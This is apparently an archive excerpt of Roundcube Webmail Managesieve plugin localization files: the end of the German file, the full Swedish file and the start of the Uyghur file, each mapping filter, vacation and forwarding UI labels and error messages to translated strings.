$labels['messagecopyto'] = 'Nachricht kopieren nach';
$labels['messagesendcopy'] = 'Kopie senden an';
$labels['messagereply'] = 'Mit Nachricht antworten';
$labels['messagedelete'] = 'Nachricht löschen';
$labels['messagediscard'] = 'Abweisen mit Nachricht';
$labels['messagekeep'] = 'Behalte Nachricht im Posteingang';
$labels['messagesrules'] = 'Für eingehende Nachrichten:';
$labels['messagesactions'] = '...führe folgende Aktionen aus:';
$labels['add'] = 'Hinzufügen';
$labels['del'] = 'Löschen';
$labels['sender'] = 'Absender';
$labels['recipient'] = 'Empfänger';
$labels['vacationaddr'] = 'Meine E-Mail-Adressen:';
$labels['vacationdays'] = 'Wie oft sollen Nachrichten gesendet werden (in Tagen):';
$labels['vacationinterval'] = 'Wie oft sollen Nachrichten gesendet werden:';
$labels['vacationreason'] = 'Nachrichteninhalt (Abwesenheitsgrund):';
$labels['vacationfrom'] = 'Antwort E-Mail-Adresse:';
$labels['vacationsubject'] = 'Nachrichtenbetreff';
$labels['days'] = 'Tage';
$labels['seconds'] = 'Sekunden';
$labels['rulestop'] = 'Regelauswertung anhalten';
$labels['enable'] = 'Aktivieren/Deaktivieren';
$labels['filterset'] = 'Filtersatz';
$labels['filtersets'] = 'Filtersätze';
$labels['filtersetadd'] = 'Filtersatz anlegen';
$labels['filtersetdel'] = 'Filtersatz löschen';
$labels['filtersetact'] = 'Aktuellen Filtersatz aktivieren';
$labels['filtersetdeact'] = 'Aktuellen Filtersatz deaktivieren';
$labels['filterseteditraw'] = 'Filtersatz bearbeiten';
$labels['filtersetswitch'] = 'Filtersatz aktivieren/deaktivieren';
$labels['filterdef'] = 'Filterdefinition';
$labels['filtersetname'] = 'Filtersatzname';
$labels['newfilterset'] = 'Neuer Filtersatz';
$labels['active'] = 'aktiv';
$labels['none'] = 'keine';
$labels['fromset'] = 'aus Filtersatz';
$labels['fromfile'] = 'aus Datei';
$labels['filterdisabled'] = 'Filter deaktiviert';
$labels['filterenabled'] = 'Filter aktiviert';
$labels['countisgreaterthan'] = 'Anzahl ist größer als';
$labels['countisgreaterthanequal'] = 'Anzahl ist gleich oder größer als';
$labels['countislessthan'] = 'Anzahl ist kleiner als';
$labels['countislessthanequal'] = 'Anzahl ist gleich oder kleiner als';
$labels['countequals'] = 'Anzahl ist gleich';
$labels['countnotequals'] = 'Anzahl ist nicht gleich';
$labels['valueisgreaterthan'] = 'Wert ist größer als';
$labels['valueisgreaterthanequal'] = 'Wert ist gleich oder größer als';
$labels['valueislessthan'] = 'Wert ist kleiner';
$labels['valueislessthanequal'] = 'Wert ist gleich oder kleiner als';
$labels['valueequals'] = 'Wert ist gleich';
$labels['valuenotequals'] = 'Wert ist nicht gleich';
$labels['setflags'] = 'Markierung an der Nachricht setzen';
$labels['addflags'] = 'Markierung zur Nachricht hinzufügen';
$labels['removeflags'] = 'Markierungen von der Nachricht entfernen';
$labels['flagread'] = 'Gelesen';
$labels['flagdeleted'] = 'Gelöscht';
$labels['flaganswered'] = 'Beantwortet';
$labels['flagflagged'] = 'Markiert';
$labels['flagdraft'] = 'Entwurf';
$labels['addheader'] = 'Kopfzeile zur Nachricht hinzufügen';
$labels['deleteheader'] = 'Kopfzeile von Nachricht entfernen';
$labels['headername'] = 'Name der Kopfzeile';
$labels['headervalue'] = 'Wert der Kopfzeile';
$labels['headerpos'] = 'Position der Kopfzeile';
$labels['headeratstart'] = 'zu Beginn';
$labels['headeratend'] = 'am Ende';
$labels['headeroccurrence'] = 'Auftreten / Position der Kopfzeile';
$labels['headerfromstart'] = 'vom Start';
$labels['headerfromend'] = 'vom Ende';
$labels['headerpatterns'] = 'Vorlage des Kopfzeilen-Werts';
$labels['headermatchtype'] = 'passender Typ:';
$labels['setvariable'] = 'Variable setzen';
$labels['setvarname'] = 'Name der Variable:';
$labels['setvarvalue'] = 'Wert der Variable:';
$labels['setvarmodifiers'] = 'Modifikatoren:';
$labels['varlower'] = 'Kleinschreibung';
$labels['varupper'] = 'Großschreibung';
$labels['varlowerfirst'] = 'Erster Buchstabe kleingeschrieben';
$labels['varupperfirst'] = 'Erster Buchstabe großgeschrieben';
$labels['varquotewildcard'] = 'maskiere Sonderzeichen';
$labels['varlength'] = 'Länge';
$labels['notify'] = 'Sende Benachrichtigung';
$labels['notifytarget'] = 'Benachrichtigungs-Empfänger:';
$labels['notifymessage'] = 'Inhalt der Benachrichtigung (optional):';
$labels['notifyoptions'] = 'Optionen für die Benachrichtigung (optional)';
$labels['notifyfrom'] = 'Absender der Benachrichtigung (optional):';
$labels['notifyimportance'] = 'Priorität:';
$labels['notifyimportancelow'] = 'niedrig';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'hoch';
$labels['notifymethodmailto'] = 'E-Mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Filter erstellen';
$labels['usedata'] = 'Die folgenden Daten im Filter benutzen:';
$labels['nextstep'] = 'Nächster Schritt';
$labels['...'] = '...';
$labels['string'] = 'Zeichenkette';
$labels['currdate'] = 'Aktuelles Datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'Kopfzeile:';
$labels['year'] = 'jahr';
$labels['month'] = 'monat';
$labels['day'] = 'tag';
$labels['date'] = 'datum (yyyy-mm-dd)';
$labels['julian'] = 'datum (julian)';
$labels['hour'] = 'stunde';
$labels['minute'] = 'minute';
$labels['second'] = 'sekunde';
$labels['time'] = 'zeit (hh:mm:ss)';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'Zeitzone';
$labels['weekday'] = 'wochentag (0-6)';
$labels['advancedopts'] = 'Erweiterte Optionen';
$labels['body'] = 'Textkörper';
$labels['address'] = 'Adresse';
$labels['envelope'] = 'Umschlag';
$labels['modifier'] = 'Modifikator:';
$labels['text'] = 'Text';
$labels['undecoded'] = 'Nicht dekodiert';
$labels['contenttype'] = 'Inhaltstyp';
$labels['modtype'] = 'Typ:';
$labels['allparts'] = 'Alle';
$labels['domain'] = 'Domäne';
$labels['localpart'] = 'lokaler Teil';
$labels['user'] = 'Benutzer';
$labels['detail'] = 'Detail';
$labels['comparator'] = 'Komparator:';
$labels['default'] = 'Vorgabewert';
$labels['octet'] = 'strikt (Oktett)';
$labels['asciicasemap'] = 'Groß-/Kleinschreibung ignorieren';
$labels['asciinumeric'] = 'numerisch (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'rückwärts';
$labels['spamtest'] = 'Spam-Quote';
$labels['spamtestisgreaterthan'] = 'ist größer als';
$labels['spamtestisgreaterthanequal'] = 'ist größer oder gleich als';
$labels['spamtestislessthan'] = 'ist kleiner als';
$labels['spamtestislessthanequal'] = 'ist kleiner oder gleich als';
$labels['spamtestequals'] = 'ist gleich';
$labels['spamtestnotequals'] = 'ist ungleich';
$labels['spamtestisunknown'] = 'ist unbekannt';
$labels['vacation'] = 'Abwesenheit ';
$labels['vacation.reply'] = 'Antwort';
$labels['vacation.advanced'] = 'Erweiterte Einstellungen';
$labels['vacation.from'] = 'Antwort E-Mail-Adresse:';
$labels['vacation.subject'] = 'Betreff';
$labels['vacation.body'] = 'Nachricht';
$labels['vacation.start'] = 'Beginn der Abwesenheit';
$labels['vacation.end'] = 'Ende der Abwesenheit';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'An';
$labels['vacation.off'] = 'Aus';
$labels['vacation.addresses'] = 'Meine E-Mail-Adressen';
$labels['vacation.interval'] = 'Antwort Intervall';
$labels['vacation.after'] = 'Setze Filterregel nach';
$labels['vacation.saving'] = 'Speichere Daten...';
$labels['vacation.action'] = 'Aktion bei eingehende Nachrichten';
$labels['vacation.keep'] = 'Behalten';
$labels['vacation.discard'] = 'Verwerfen';
$labels['vacation.redirect'] = 'Weiterleiten an';
$labels['vacation.copy'] = 'Kopie senden an';
$labels['forward'] = 'Weiterleitung';
$labels['forward.redirect'] = 'Weiterleiten an';
$labels['forward.copy'] = 'Kopie senden an';
$labels['forward.on'] = 'An';
$labels['forward.off'] = 'Aus';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Für eingehende Mails die folgende Aktion ausführen:';
$labels['forward.saving'] = 'Speichere Daten...';
$labels['filladdresses'] = 'Mit allen meinen Adressen ausfüllen';
$labels['arialabelfiltersetactions'] = 'Aktionen für Filtersätze';
$labels['arialabelfilteractions'] = 'Aktionen für Filter';
$labels['arialabelfilterform'] = 'Filtereigenschaften';
$labels['ariasummaryfilterslist'] = 'Liste von Filtern';
$labels['ariasummaryfiltersetslist'] = 'Liste von Filtersätzen';
$labels['filterstitle'] = 'Eingehende Mailfilter bearbeiten';
$labels['vacationtitle'] = 'Abwesendheitsregel bearbeiten';
$labels['forwardtitle'] = 'Mail-Weiterleitungsregel bearbeiten';
$labels['message'] = 'Nachricht';
$labels['duplicate'] = 'ist doppelt';
$labels['notduplicate'] = 'ist nicht doppelt';
$labels['duplicate.handle'] = 'verarbeiten:';
$labels['duplicate.header'] = 'Kopfzeile:';
$labels['duplicate.uniqueid'] = 'Bezeichner:';
$labels['duplicate.seconds'] = 'Zeitüberschreitung (Sekunden):';
$labels['duplicate.last'] = 'relativ zur letzten Ausführung';
$messages['filterunknownerror'] = 'Unbekannter Serverfehler';
$messages['filterconnerror'] = 'Kann keine Verbindung mit Managesieve-Server herstellen';
$messages['filterdeleteerror'] = 'Filter kann nicht gelöscht werden. Ein Serverfehler ist aufgetreten.';
$messages['filterdeleted'] = 'Filter erfolgreich gelöscht';
$messages['filtersaved'] = 'Filter erfolgreich gespeichert';
$messages['filtersaveerror'] = 'Filter kann nicht gespeichert werden. Ein Serverfehler ist aufgetreten.';
$messages['filterformerror'] = 'Filterformular enthält Fehler.';
$messages['filterdeleteconfirm'] = 'Möchten Sie den ausgewählten Filter wirklich löschen?';
$messages['ruledeleteconfirm'] = 'Sind Sie sicher, dass Sie die ausgewählte Regel löschen möchten?';
$messages['actiondeleteconfirm'] = 'Sind Sie sicher, dass Sie die ausgewählte Aktion löschen möchten?';
$messages['forbiddenchars'] = 'Unzulässige Zeichen im Eingabefeld';
$messages['cannotbeempty'] = 'Eingabefeld darf nicht leer sein';
$messages['ruleexist'] = 'Ein Filter mit dem angegebenen Namen existiert bereits.';
$messages['setactivateerror'] = 'Kann ausgewählten Filtersatz nicht aktivieren. Serverfehler';
$messages['setdeactivateerror'] = 'Kann ausgewählten Filtersatz nicht deaktivieren. Serverfehler';
$messages['setdeleteerror'] = 'Kann ausgewählten Filtersatz nicht löschen. Serverfehler';
$messages['setactivated'] = 'Filtersatz erfolgreich aktiviert.';
$messages['setdeactivated'] = 'Filtersatz erfolgreich deaktiviert.';
$messages['setdeleted'] = 'Filtersatz erfolgreich gelöscht.';
$messages['setupdated'] = 'Filtersatz erfolgreich aktualisiert.';
$messages['setdeleteconfirm'] = 'Sind Sie sicher, dass Sie den ausgewählten Filtersatz löschen möchten?';
$messages['setcreateerror'] = 'Der Filtersatz kann nicht erstellt werden. Serverfehler aufgetreten.';
$messages['setcreated'] = 'Filtersatz erfolgreich erstellt.';
$messages['activateerror'] = 'Filter kann nicht aktiviert werden. Serverfehler.';
$messages['deactivateerror'] = 'Filter kann nicht deaktiviert werden. Serverfehler.';
$messages['deactivated'] = 'Filter erfolgreich deaktiviert.';
$messages['activated'] = 'Filter erfolgreich aktiviert.';
$messages['moved'] = 'Filter erfolgreich verschoben.';
$messages['moveerror'] = 'Filter kann nicht verschoben werden. Serverfehler.';
$messages['nametoolong'] = 'Kann Filtersatz nicht erstellen. Name zu lang';
$messages['namereserved'] = 'Reservierter Name.';
$messages['setexist'] = 'Filtersatz existiert bereits.';
$messages['nodata'] = 'Mindestens eine Position muss ausgewählt werden!';
$messages['invaliddateformat'] = 'Ungültiges Datum oder Teil-Format';
$messages['saveerror'] = 'Ein Serverfehler ist aufgetreten, Speicherung war nicht möglich.';
$messages['vacationsaved'] = 'Abwesenheitdaten erfolgreich gespeichert.';
$messages['forwardsaved'] = 'Weiterleitungsdaten erfolgreich gespeichert.';
$messages['emptyvacationbody'] = 'Inhalt der Abwesenheitsbenachrichtigung wird benötigt!';
$messages['duplicate.conflict.err'] = 'Beides, Kopfzeilen und eindeutige Kennzeichner, sind nicht erlaubt.';
$messages['disabledaction'] = 'Aktion nicht erlaubt.';
$messages['lastindexempty'] = 'Indexierung nötig, wenn vom Ende gezählt wird';
$messages['noflagset'] = 'Es muss mindestens ein Merker ausgewählt werden.';
PKh�\���N�6�6*plugins/managesieve/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filter';
$labels['managefilters'] = 'Administrera filter';
$labels['filtername'] = 'Filternamn';
$labels['newfilter'] = 'Nytt filter';
$labels['filteradd'] = 'Nytt filter';
$labels['filterdel'] = 'Ta bort filter';
$labels['rules'] = 'Regler';
$labels['actions'] = 'Funktioner';
$labels['scope'] = 'Sökomfattning';
$labels['moveup'] = 'Flytta upp filter';
$labels['movedown'] = 'Flytta ner filter';
$labels['filterallof'] = 'Filtrera på alla följande regler';
$labels['filteranyof'] = 'Filtrera på någon av följande regler';
$labels['filterany'] = 'Filtrera alla meddelanden';
$labels['filtercontains'] = 'innehåller';
$labels['filternotcontains'] = 'inte innehåller';
$labels['filteris'] = 'är lika med';
$labels['filterisnot'] = 'är inte lika med';
$labels['filterexists'] = 'finns';
$labels['filternotexists'] = 'inte finns';
$labels['filtermatches'] = 'matchar uttryck';
$labels['filternotmatches'] = 'inte matchar uttryck';
$labels['filterregex'] = 'matchar reguljärt uttryck';
$labels['filternotregex'] = 'inte matchar reguljärt uttryck';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'över';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME-del:';
$labels['mime-message'] = 'meddelande';
$labels['mime-anychild'] = 'någon';
$labels['mime-type'] = 'typ';
$labels['mime-subtype'] = 'undertyp';
$labels['mime-contenttype'] = 'innehållstyp';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Lägg till regel';
$labels['delrule'] = 'Ta bort regel';
$labels['messagemoveto'] = 'Flytta meddelande till';
$labels['messageredirect'] = 'Ändra mottagare till';
$labels['messagecopyto'] = 'Kopiera meddelande till';
$labels['messagesendcopy'] = 'Skicka kopia av meddelande till';
$labels['messagereply'] = 'Besvara meddelande';
$labels['messagedelete'] = 'Ta bort meddelande';
$labels['messagediscard'] = 'Avböj med felmeddelande';
$labels['messagekeep'] = 'Behåll meddelande i Inkorg';
$labels['messagesrules'] = 'För inkommande meddelande';
$labels['messagesactions'] = 'Utför följande åtgärd';
$labels['add'] = 'Lägg till';
$labels['del'] = 'Ta bort';
$labels['sender'] = 'Avsändare';
$labels['recipient'] = 'Mottagare';
$labels['vacationaddr'] = 'Mina mottagaradresser:';
$labels['vacationdays'] = 'Antal dagar mellan auto-svar:';
$labels['vacationinterval'] = 'Tid mellan auto-svar:';
$labels['vacationreason'] = 'Meddelandetext (frånvaroanledning):';
$labels['vacationfrom'] = 'Svarsadress:';
$labels['vacationsubject'] = 'Meddelandeämne:';
$labels['days'] = 'Dagar';
$labels['seconds'] = 'Sekunder';
$labels['rulestop'] = 'Avsluta filtrering';
$labels['enable'] = 'Aktivera/inaktivera';
$labels['filterset'] = 'Filtergrupp';
$labels['filtersets'] = 'Filtergrupper';
$labels['filtersetadd'] = 'Ny filtergrupp';
$labels['filtersetdel'] = 'Ta bort filtergrupp';
$labels['filtersetact'] = 'Aktivera filtergrupp';
$labels['filtersetdeact'] = 'Inaktivera filtergrupp';
$labels['filterseteditraw'] = 'Ändra filtergrupp';
$labels['filtersetswitch'] = 'Aktivera/inaktivera filtergrupp';
$labels['filterdef'] = 'Filterdefinition';
$labels['filtersetname'] = 'Filtergruppsnamn';
$labels['newfilterset'] = 'Ny filtergrupp';
$labels['active'] = 'aktiv';
$labels['none'] = 'ingen';
$labels['fromset'] = 'från grupp';
$labels['fromfile'] = 'från fil';
$labels['filterdisabled'] = 'Filter inaktiverat';
$labels['filterenabled'] = 'Filter aktiverat';
$labels['countisgreaterthan'] = 'antal är större än';
$labels['countisgreaterthanequal'] = 'antal är större än eller lika med';
$labels['countislessthan'] = 'antal är mindre än';
$labels['countislessthanequal'] = 'antal är mindre än eller lika med';
$labels['countequals'] = 'antal är lika med';
$labels['countnotequals'] = 'antal är inte lika med';
$labels['valueisgreaterthan'] = 'värde är större än';
$labels['valueisgreaterthanequal'] = 'värde är större än eller lika med';
$labels['valueislessthan'] = 'värde är mindre än';
$labels['valueislessthanequal'] = 'värde är mindre än eller lika med';
$labels['valueequals'] = 'värde är lika med';
$labels['valuenotequals'] = 'värde är inte lika med';
$labels['setflags'] = 'Flagga meddelande';
$labels['addflags'] = 'Lägg till meddelandeflaggor';
$labels['removeflags'] = 'Ta bort meddelandeflaggor';
$labels['flagread'] = 'Läst';
$labels['flagdeleted'] = 'Borttaget';
$labels['flaganswered'] = 'Besvarat';
$labels['flagflagged'] = 'Flaggat';
$labels['flagdraft'] = 'Utkast';
$labels['addheader'] = 'Lägg till meddelandeinformation';
$labels['deleteheader'] = 'Ta bort meddelandeinformation';
$labels['headername'] = 'Meddelandeinformation namn';
$labels['headervalue'] = 'Meddelandeinformation värde';
$labels['headerpos'] = 'Meddelandeinformation position';
$labels['headeratstart'] = 'i början';
$labels['headeratend'] = 'i slutet';
$labels['headeroccurrence'] = ' Meddelandeinformation förekomst/position';
$labels['headerfromstart'] = 'från början';
$labels['headerfromend'] = 'från slutet';
$labels['headerpatterns'] = 'Meddelandeinformation sökmönster';
$labels['headermatchtype'] = 'resultattyp:';
$labels['setvariable'] = 'Sätt variabel';
$labels['setvarname'] = 'Variabelnamn:';
$labels['setvarvalue'] = 'Variabelvärde:';
$labels['setvarmodifiers'] = 'Modifierare:';
$labels['varlower'] = 'Gemener';
$labels['varupper'] = 'Versaler';
$labels['varlowerfirst'] = 'Första tecken gement';
$labels['varupperfirst'] = 'Första tecken versalt';
$labels['varquotewildcard'] = 'Koda specialtecken';
$labels['varlength'] = 'Längd';
$labels['notify'] = 'Skicka avisering';
$labels['notifytarget'] = 'Aviseringsmål:';
$labels['notifymessage'] = 'Aviseringsmeddelande (valfritt):';
$labels['notifyoptions'] = 'Aviseringstillval (valfritt):';
$labels['notifyfrom'] = 'Aviseringsavsändare (valfri):';
$labels['notifyimportance'] = 'Prioritet:';
$labels['notifyimportancelow'] = 'Låg';
$labels['notifyimportancenormal'] = 'Normal';
$labels['notifyimportancehigh'] = 'Hög';
$labels['notifymethodmailto'] = 'E-post';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Skapa filter';
$labels['usedata'] = 'Använd följande information i filtret:';
$labels['nextstep'] = 'Nästa steg';
$labels['...'] = '...';
$labels['string'] = 'Textsträng';
$labels['currdate'] = 'Dagens datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'huvud:';
$labels['year'] = 'år';
$labels['month'] = 'månad';
$labels['day'] = 'dag';
$labels['date'] = 'datum (åååå-mm-dd)';
$labels['julian'] = 'datum (Julianskt)';
$labels['hour'] = 'timme';
$labels['minute'] = 'minut';
$labels['second'] = 'sekund';
$labels['time'] = 'tid (hh:mm:ss)';
$labels['iso8601'] = 'datum (ISO 8601)';
$labels['std11'] = 'datum (RFC 2822)';
$labels['zone'] = 'tidszon';
$labels['weekday'] = 'veckodag (0-6)';
$labels['advancedopts'] = 'Avancerade inställningar';
$labels['body'] = 'Meddelandeinnehåll';
$labels['address'] = 'adress';
$labels['envelope'] = 'kuvert';
$labels['modifier'] = 'modifierare:';
$labels['text'] = 'text';
$labels['undecoded'] = 'obearbetat (rå)';
$labels['contenttype'] = 'innehållstyp';
$labels['modtype'] = 'typ:';
$labels['allparts'] = 'allt';
$labels['domain'] = 'domän';
$labels['localpart'] = 'lokal del';
$labels['user'] = 'användare';
$labels['detail'] = 'detalj';
$labels['comparator'] = 'jämförelse:';
$labels['default'] = 'standard';
$labels['octet'] = 'strikt (oktalt)';
$labels['asciicasemap'] = 'teckenlägesokänslig (ascii-casemap)';
$labels['asciinumeric'] = 'numerisk (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'omvänd';
$labels['spamtest'] = 'Skräppostnivå';
$labels['spamtestisgreaterthan'] = 'är större än';
$labels['spamtestisgreaterthanequal'] = 'är större än eller lika med';
$labels['spamtestislessthan'] = 'är mindre än';
$labels['spamtestislessthanequal'] = 'är mindre än eller lika med';
$labels['spamtestequals'] = 'är lika med';
$labels['spamtestnotequals'] = 'är inte lika med';
$labels['spamtestisunknown'] = 'är okänd';
$labels['vacation'] = 'Frånvaro';
$labels['vacation.reply'] = 'Besvara meddelande';
$labels['vacation.advanced'] = 'Avancerade inställningar';
$labels['vacation.from'] = 'Svarsadress';
$labels['vacation.subject'] = 'Ämne';
$labels['vacation.body'] = 'Innehåll';
$labels['vacation.start'] = 'Frånvaron börjar';
$labels['vacation.end'] = 'Frånvaron slutar';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'På';
$labels['vacation.off'] = 'Av';
$labels['vacation.addresses'] = 'Mina mottagaradresser';
$labels['vacation.interval'] = 'Svarsintervall';
$labels['vacation.after'] = 'Placera frånvaroregel efter';
$labels['vacation.saving'] = 'Sparar data...';
$labels['vacation.action'] = 'Hantering av inkommande meddelanden';
$labels['vacation.keep'] = 'Behåll';
$labels['vacation.discard'] = 'Förkasta';
$labels['vacation.redirect'] = 'Ändra mottagare till';
$labels['vacation.copy'] = 'Skicka kopia till';
$labels['forward'] = 'Skickar vidare';
$labels['forward.redirect'] = 'Ändra mottagare till';
$labels['forward.copy'] = 'Skicka kopia till';
$labels['forward.on'] = 'På';
$labels['forward.off'] = 'Av';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Utför följande åtgärd på inkommande meddelanden:';
$labels['forward.saving'] = 'Sparar data...';
$labels['filladdresses'] = 'Fyll i alla mina mottagaradresser';
$labels['arialabelfiltersetactions'] = 'Hantera filtergrupper';
$labels['arialabelfilteractions'] = 'Hantera filter';
$labels['arialabelfilterform'] = 'Filteregenskaper';
$labels['ariasummaryfilterslist'] = 'Lista med filter';
$labels['ariasummaryfiltersetslist'] = 'Lista med filtergrupper';
$labels['filterstitle'] = 'Ändra filter för inkommande meddelanden';
$labels['vacationtitle'] = 'Ändra regel för frånvaromeddelande';
$labels['forwardtitle'] = 'Ändra regel för skicka vidare meddelande';
$labels['message'] = 'Meddelande';
$labels['duplicate'] = 'är duplikat';
$labels['notduplicate'] = 'är inte duplikat';
$labels['duplicate.handle'] = 'hantera:';
$labels['duplicate.header'] = 'huvud:';
$labels['duplicate.uniqueid'] = 'identifikation:';
$labels['duplicate.seconds'] = 'vänta (sekunder):';
$labels['duplicate.last'] = 'i förhållande till senaste körningen';
$messages['filterunknownerror'] = 'Okänt serverfel';
$messages['filterconnerror'] = 'Anslutning till serverns filtertjänst misslyckades';
$messages['filterdeleteerror'] = 'Filtret kunde inte tas bort på grund av serverfel';
$messages['filterdeleted'] = 'Filtret är borttaget';
$messages['filtersaved'] = 'Filtret har sparats';
$messages['filtersaveerror'] = 'Filtret kunde inte sparas på grund av serverfel';
$messages['filterformerror'] = 'Filterformuläret innehåller fel.';
$messages['filterdeleteconfirm'] = 'Vill du ta bort det markerade filtret?';
$messages['ruledeleteconfirm'] = 'Vill du ta bort filterregeln?';
$messages['actiondeleteconfirm'] = 'Vill du ta bort filteråtgärden?';
$messages['forbiddenchars'] = 'Otillåtet tecken i fältet';
$messages['cannotbeempty'] = 'Fältet kan inte lämnas tomt';
$messages['ruleexist'] = 'Ett filter med angivet namn finns redan.';
$messages['setactivateerror'] = 'Filtergruppen kunde inte aktiveras på grund av serverfel.';
$messages['setdeactivateerror'] = 'Filtergruppen kunde inte deaktiveras på grund av serverfel.';
$messages['setdeleteerror'] = 'Filtergruppen kunde inte tas bort på grund av serverfel.';
$messages['setactivated'] = 'Filtergruppen är aktiverad.';
$messages['setdeactivated'] = 'Filtergruppen är inaktiverad.';
$messages['setdeleted'] = 'Filtergruppen är borttagen.';
$messages['setupdated'] = 'Filtergruppen är ändrad.';
$messages['setdeleteconfirm'] = 'Vill du ta bort filtergruppen?';
$messages['setcreateerror'] = 'Filtergruppen kunde inte läggas till på grund av serverfel.';
$messages['setcreated'] = 'Filtergruppen har lagts till.';
$messages['activateerror'] = 'Kunde inte aktivera filter på grund av serverfel.';
$messages['deactivateerror'] = 'Kunde inte inaktivera filter på grund av serverfel.';
$messages['deactivated'] = 'Filter inaktiverat.';
$messages['activated'] = 'Filter aktiverat.';
$messages['moved'] = 'Filter flyttat.';
$messages['moveerror'] = 'Kunde inte flytta filter på grund av serverfel.';
$messages['nametoolong'] = 'För långt namn.';
$messages['namereserved'] = 'Reserverat namn.';
$messages['setexist'] = 'Filtergrupp finns redan.';
$messages['nodata'] = 'Minst en position måste väljas!';
$messages['invaliddateformat'] = 'Ogiltigt datum eller del av datumformat';
$messages['saveerror'] = 'Datan kunde inte sparas på grund av serverfel.';
$messages['vacationsaved'] = 'Frånvarodatan har sparats.';
$messages['forwardsaved'] = 'Information för skicka vidare har sparats.';
$messages['emptyvacationbody'] = 'Text för frånvaromeddelande saknas!';
$messages['duplicate.conflict.err'] = 'Både huvud och unik identifikation är inte tillåtet.';
$messages['disabledaction'] = 'Otillåten åtgärd.';
$messages['lastindexempty'] = 'Index är nödvändigt för att räkna från slutet';
$messages['noflagset'] = 'Minst en flagga måste väljas.';
PKh�\�r"�[I[I'plugins/managesieve/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'سۈزگۈچلەر';
$labels['managefilters'] = 'كەلگەن خەت سۈزگۈچلىرىنى باشقۇرۇش';
$labels['filtername'] = 'سۈزگۈچ نامى';
$labels['newfilter'] = 'يېڭى سۈزگۈچ';
$labels['filteradd'] = 'سۈزگۈچ قېتىش';
$labels['filterdel'] = 'سۈزگۈچ ئۆچۈرۈش';
$labels['rules'] = 'قائىدىلەر';
$labels['actions'] = 'ھەركەتلەر';
$labels['scope'] = 'دائىرە';
$labels['moveup'] = 'ئۈستىگە يۆتكەش';
$labels['movedown'] = 'ئاستىغا يۆتكەش';
$labels['filterallof'] = 'تۆۋەندىكى ھەممە قائىدىلەرگە ماس كىلىدىغان';
$labels['filteranyof'] = 'تۆۋەندىكى قائىدىلەرنىڭ بىرىگە ماس كىلىدىغان';
$labels['filterany'] = 'بارلىق خەتلەر';
$labels['filtercontains'] = 'ئۆز-ئىچىگە ئېلىش';
$labels['filternotcontains'] = 'ئۆز-ئىچىگە ئالماسلىق';
$labels['filteris'] = 'تەڭ';
$labels['filterisnot'] = 'تەڭ ئەمەس';
$labels['filterexists'] = 'مەۋجۇت';
$labels['filternotexists'] = 'مەۋجۇت ئەمەس';
$labels['filtermatches'] = 'ئىپادىگە ماس كىلىدۇ';
$labels['filternotmatches'] = 'ئىپادىگە ماس كەلمەيدۇ';
$labels['filterregex'] = 'ئادەتتىكى ئىپادىگە ماس كىلىدۇ';
$labels['filternotregex'] = 'ئادەتتىكى ئىپادىگە ماس كەلمەيدۇ';
$labels['filterunder'] = 'ئاستىدا';
$labels['filterover'] = 'ئۈستىدە';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME قىسمى:';
$labels['mime-message'] = 'ئۇچۇر';
$labels['mime-anychild'] = 'ھەرقانداق';
$labels['mime-type'] = 'تۈر';
$labels['mime-subtype'] = 'بالا-تۈر';
$labels['mime-contenttype'] = 'مەزمۇن تۈرى';
$labels['mime-param'] = 'پارامىتىر';
$labels['addrule'] = 'قائىدە قۇشۇش';
$labels['delrule'] = 'قائىدە ئۆچۈرۈش';
$labels['messagemoveto'] = 'خەتنى يۆتكەش';
$labels['messageredirect'] = 'خەتنى يەتكۈزۈش';
$labels['messagecopyto'] = 'خەتنى كۆچۈرۈش';
$labels['messagesendcopy'] = 'خەت كۆچۈرمىسىنى ئەۋەتىش';
$labels['messagereply'] = 'خەت بىلەن جاۋاپ قايتۇرۇش';
$labels['messagedelete'] = 'خەتنى ئۆچۈرۈش';
$labels['messagediscard'] = 'خەت بىلەن تاشلىۋېتىش';
$labels['messagekeep'] = 'خەتنى كىلىش ساندۇقىدا ساقلاش';
$labels['messagesrules'] = 'كەلگەن خەت ئۈچۈن:';
$labels['messagesactions'] = '...تۆۋەندىكى ھەركەتلەرنى ئورۇنداش:';
$labels['add'] = 'قېتىش';
$labels['del'] = 'ئۆچۈرۈش';
$labels['sender'] = 'ئەۋەتكۈچى';
$labels['recipient'] = 'تاپشۇرۋالغۇچى';
$labels['vacationaddr'] = 'مېنىڭ ئېلىخەت ئادىرسلىرىم:';
$labels['vacationdays'] = 'قانچە  ئۇزۇندا (كۈندە) خەت يوللايسىز:';
